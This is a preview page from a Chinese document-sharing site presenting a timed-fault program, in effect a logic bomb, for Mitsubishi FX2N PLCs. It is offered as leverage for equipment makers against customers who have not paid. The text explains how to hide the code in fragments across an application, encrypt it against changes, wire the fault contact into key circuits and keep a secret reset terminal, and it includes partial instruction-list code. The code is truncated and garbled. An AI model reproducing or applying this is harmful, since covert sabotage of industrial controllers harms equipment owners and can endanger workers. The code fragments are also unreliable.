定時(shí)觸發(fā)故障PLC程序_第1頁(yè)
定時(shí)觸發(fā)故障PLC程序_第2頁(yè)
定時(shí)觸發(fā)故障PLC程序_第3頁(yè)
全文預(yù)覽已結(jié)束

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、定時(shí)觸發(fā)故障PLC程序    一、定時(shí)觸發(fā)故障PLC程序(PLC為實(shí)時(shí)時(shí)鐘) 該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版所編的程序,僅適用于三菱FX2N系列PLC。 該程序是為設(shè)備制造商收取剩余款項(xiàng)而設(shè)的籌碼,在設(shè)備制造商老板有要求時(shí)可以使用,僅適用于信譽(yù)度不好的客戶(hù)。該程序一旦觸發(fā),無(wú)論設(shè)備是否處于運(yùn)行狀態(tài)、PLC是否處于運(yùn)行狀態(tài)或通電狀態(tài),指定時(shí)間以后將會(huì)準(zhǔn)時(shí)出現(xiàn)故障。請(qǐng)謹(jǐn)慎使用! 該程序應(yīng)當(dāng)嵌入應(yīng)用程序之中,為避免他人識(shí)破,可以將程序分成多塊分別嵌入在應(yīng)用程序的各個(gè)地方。 為避免他人修改你

2、的程序,應(yīng)當(dāng)將整個(gè)程序進(jìn)行加密設(shè)置口令,具體操作方法請(qǐng)參閱程序加密的相關(guān)說(shuō)明。 M490為故障觸點(diǎn),應(yīng)當(dāng)串聯(lián)或并聯(lián)在程序多個(gè)關(guān)鍵動(dòng)作回路中。 X20為定時(shí)觸發(fā)故障復(fù)位端子,要求該端子為沒(méi)有被使用的端子(否則請(qǐng)更換為另一個(gè)沒(méi)有被使用的端子)。需要解除還沒(méi)有被觸發(fā)的故障或已經(jīng)觸發(fā)的故障時(shí),將該觸點(diǎn)和PLC的輸入COM端短接即可。如果系統(tǒng)當(dāng)前時(shí)間還沒(méi)到故障觸發(fā)時(shí)間,一旦該端子與COM端子斷開(kāi),故障將在預(yù)定時(shí)間觸發(fā)!如果系統(tǒng)當(dāng)前時(shí)間已經(jīng)過(guò)了指定的故障觸發(fā)時(shí)間,一旦該端子與COM端子斷開(kāi),故障將立即觸發(fā)!如果需要重新指定故障觸發(fā)時(shí)間,就必須得更改指定的故障觸發(fā)時(shí)間需要對(duì)PLC進(jìn)行編程! 該程序指定的故障

3、觸發(fā)時(shí)間為2007年1月1日0時(shí)0分0秒,可以進(jìn)行更改。 該程序中所用到的通用繼電器M481-M499、定時(shí)器T198、存儲(chǔ)區(qū)D0-D5,請(qǐng)不要在程序的其它地方使用,否則該程序可能無(wú)法正常發(fā)揮作用。 對(duì)于三菱其它系列PLC或其它品牌PLC,請(qǐng)對(duì)程序作相應(yīng)更改各存儲(chǔ)器請(qǐng)按照相應(yīng)存儲(chǔ)區(qū)域進(jìn)行更改。 該程序并沒(méi)有修改PLC的系統(tǒng)時(shí)鐘,因此程序中的其它地方或和PLC通信的其它設(shè)備所調(diào)用的PLC系統(tǒng)時(shí)鐘反映的是正確的當(dāng)前日期和時(shí)間。 在程序動(dòng)作之前,應(yīng)當(dāng)檢查PLC的系統(tǒng)時(shí)鐘是否正確反映當(dāng)前日期和時(shí)間(因?yàn)镻LC的默認(rèn)系統(tǒng)時(shí)鐘可能不正確,筆者就遇到過(guò)系統(tǒng)時(shí)鐘快一個(gè)小時(shí)多一點(diǎn)的情況)。檢查方法如下: 啟動(dòng)三

4、菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版到一個(gè)新的窗口,將電腦與PLC正確連接(具體連接方法請(qǐng)參閱相關(guān)說(shuō)明<比如采用SC09連接電纜或等同功能電纜,加接USB轉(zhuǎn)RS232電纜(需要加安裝驅(qū)動(dòng))等等>),然后點(diǎn)擊“在線”“PLC讀取”“確認(rèn)”(對(duì)于部分筆記本電腦(比如頂星品牌龍尊系列某型號(hào)的筆記本電腦),默認(rèn)串口為COM2,這種情況下需要將COM口選為COM2,具體操作方法不再贅述),然后選中“軟元件內(nèi)存”再點(diǎn)擊“確定”.待軟元件內(nèi)存?zhèn)魉偷诫娔X以后,馬上檢查M8018(年)、M8017(月)、M8016(日)、M8015(時(shí))、M80

5、14(分)、M8013(秒)是否大概是當(dāng)前正確時(shí)間(請(qǐng)注意,軟元件內(nèi)存只是下載時(shí)的PLC內(nèi)存,并不能實(shí)時(shí)反映PLC的當(dāng)前軟元件內(nèi)存數(shù)據(jù)。所以,軟元件內(nèi)存數(shù)據(jù)中反映的系統(tǒng)時(shí)鐘比PLC當(dāng)前系統(tǒng)時(shí)鐘要慢)?;蛘撸捎昧硗庖环N更簡(jiǎn)單的方法:直接PLC在線連接的下拉菜單中選擇PLC時(shí)間設(shè)置選項(xiàng),然后就可以看見(jiàn)非實(shí)時(shí)顯示的時(shí)鐘了這個(gè)時(shí)間是讀取瞬間的時(shí)鐘,不實(shí)時(shí)跟隨。 如果PLC的系統(tǒng)時(shí)鐘不能正確反映當(dāng)前日期和時(shí)間,那就需要對(duì)軟元件內(nèi)存進(jìn)行修改。修改方法為:1、直接PLC在線連接的下拉菜單中選擇PLC時(shí)間設(shè)置選項(xiàng),然后更改時(shí)間就可以了。但該方法一次性只能更改一回時(shí)間,一旦更改后時(shí)間就實(shí)時(shí)跟隨了,無(wú)法再進(jìn)行更

6、改。如果需要再次更改,需要將該窗口關(guān)閉后重新打開(kāi),然后再進(jìn)行時(shí)間的更改。 2、通過(guò)程序的相關(guān)指令(例如MOV指令寫(xiě)時(shí)間對(duì)應(yīng)的特殊存儲(chǔ)區(qū)D8013D8018或通過(guò)TWR指令來(lái)寫(xiě)時(shí)間,具體指令此處就不再贅述了)。通過(guò)讀出軟元件內(nèi)存后修改軟元件內(nèi)存再寫(xiě)回去的方法是行不通的經(jīng)過(guò)多次試驗(yàn),證明了PLC在寫(xiě)入軟元件內(nèi)存時(shí)根本不會(huì)重寫(xiě)特殊存儲(chǔ)區(qū)的內(nèi)容,也就是說(shuō)特殊存儲(chǔ)區(qū)沒(méi)被列入“軟元件內(nèi)存”的范圍之內(nèi)二、定時(shí)觸發(fā)故障PLC程序(PLC非實(shí)時(shí)時(shí)鐘) 該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版所編的程序,僅適用于三菱FX2N系列PLC。 該程序是為設(shè)備

7、制造商收取剩余款項(xiàng)而設(shè)的籌碼,在設(shè)備制造商老板有要求時(shí)可以使用,僅適用于信譽(yù)度不好的客戶(hù)。該程序一旦觸發(fā),無(wú)論設(shè)備是否處于運(yùn)行狀態(tài)、PLC是否處于運(yùn)行狀態(tài)或通電狀態(tài),一年以后(時(shí)間長(zhǎng)短可以修改)將會(huì)準(zhǔn)時(shí)出現(xiàn)故障。請(qǐng)謹(jǐn)慎使用! 該程序應(yīng)當(dāng)嵌入應(yīng)用程序之中,為避免他人識(shí)破,可以將程序分成多塊分別嵌入在應(yīng)用程序的各個(gè)地方。 為避免他人修改你的程序,應(yīng)當(dāng)將整個(gè)程序進(jìn)行加密設(shè)置口令,具體操作方法請(qǐng)參閱程序加密的相關(guān)說(shuō)明。 X0是定時(shí)觸發(fā)故障觸發(fā)端子,X0只要在PLC處于運(yùn)行狀態(tài)下至少動(dòng)作過(guò)一次就可以了。 M490為故障觸點(diǎn),應(yīng)當(dāng)串聯(lián)或并聯(lián)在程序多個(gè)關(guān)鍵動(dòng)作回路中。 X1為定時(shí)觸發(fā)故障復(fù)位端子,要求在通常

8、情況下,連續(xù)動(dòng)作時(shí)間不能超過(guò)30秒(時(shí)間可以修改),否則請(qǐng)改為另外一個(gè)輸入觸點(diǎn)。需要解除故障觸發(fā)功能時(shí),讓X1保持通電30秒(時(shí)間可以修改)即可。也可以將X1改為最后一個(gè)未用的輸入觸點(diǎn),需要永遠(yuǎn)解除故障觸發(fā)功能時(shí),將該觸點(diǎn)和PLC的輸入COM端短接即可。如果只是讓定時(shí)觸發(fā)故障復(fù)位端子接通超過(guò)30秒(時(shí)間可以修改)然后斷開(kāi),那么一年以后(時(shí)間長(zhǎng)短可以修改)仍然會(huì)準(zhǔn)時(shí)出現(xiàn)故障。如果希望永遠(yuǎn)解除定時(shí)故障觸發(fā)功能,請(qǐng)將定時(shí)觸發(fā)故障復(fù)位端子和PLC的輸入COM端短接即可。 該程序中所用到的通用繼電器M480-M499、保持繼電器M1023、定時(shí)器T198、存儲(chǔ)區(qū)D0-D5,請(qǐng)不要在程序的其它地方使用,否

9、則該程序可能無(wú)法正常發(fā)揮作用。 對(duì)于三菱其它系列PLC或其它品牌PLC,請(qǐng)對(duì)程序作相應(yīng)更改原保持繼電器M1023更換后仍然具有斷電保持功能,其它存儲(chǔ)器請(qǐng)按照相應(yīng)存儲(chǔ)區(qū)域進(jìn)行更改。 該程序動(dòng)作后,PLC的系統(tǒng)時(shí)鐘并非是實(shí)時(shí)時(shí)鐘,因此程序中的其它地方或和PLC通信的其它設(shè)備所調(diào)用的PLC系統(tǒng)時(shí)鐘并不能正確反映當(dāng)前日期和時(shí)間。plc的實(shí)時(shí)時(shí)鐘用TRD可以直接讀出來(lái),年月日時(shí)(D8018,D8017,D8016,D8015)都到設(shè)定值時(shí),M504就會(huì)置位(這是個(gè)保持繼電器)。寫(xiě)在MC和MCR之間的程序就會(huì)停止工作。這是FX3U的程序,把R寄存器換成D寄存器就可用在FX2N等PLC上了.把M500-M5

10、04復(fù)位后程序就可工作.這種程序我寫(xiě)過(guò)三種方式的:1,計(jì)數(shù)方式;2,累積計(jì)時(shí);3,日期方式.目的有:1,完全停機(jī)方式;2,關(guān)閉自動(dòng)工作,只有手動(dòng)工作;3,關(guān)閉數(shù)學(xué)運(yùn)算部分.LD X0201 OUT T198 K3004 LD X0015 ORI X0016 CMP K7 D8018 M48113 CMP K1 D8017 M48420 CMP K1 D8015 M48727 CMP K0 D814 M49434 CMP K0 D8013 M49741 LD M48242 or M48343 LD M48544 or M48645 ANB46 LD M48847 or M4

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論